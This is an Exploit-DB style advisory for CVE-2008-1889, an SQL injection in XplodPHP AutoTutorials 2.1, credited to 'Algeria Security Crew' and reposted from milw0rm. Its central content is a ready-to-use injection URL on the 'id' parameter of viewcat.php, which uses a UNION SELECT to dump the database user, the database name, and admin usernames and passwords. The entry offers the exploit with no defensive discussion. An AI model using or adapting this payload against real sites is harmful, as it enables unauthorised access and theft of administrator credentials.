XplodPHP AutoTutorials 2.1 - 'id' SQL Injection

Author: cO2
type: webapps
platform: php
port: 
date_added: 2008-04-15 
date_updated: 2016-11-22 
verified: 1 
codes: OSVDB-44410;CVE-2008-1889 
tags: 
aliases:  
screenshot_url:  
application_url: 

     [  A L G E R I A     S E C U R I T Y    C R E W  ]
###################################################
[~] XplodPHP Remote SQL Injection Vulnerability

[~] Founder: cO2 [ Algeria Security Crew ]
[~] HomePage: http://www.DZ-Secure.com
[~] Greatz : To all Hackerz from Algeria & All My Friends . . .
[~] Contact: c02@Hotmail.de
[~] Exploit :
http://www.xxx.org/viewcat.php?id=10/**/union/**/select/**/null,user(),concat(username,0x3e,password),null,null,database(),null,null,null/**/from/**/admin/*
---------------------
http://www.DZ-Secure.com
---------------------
###############################################

# milw0rm.com [2008-04-16]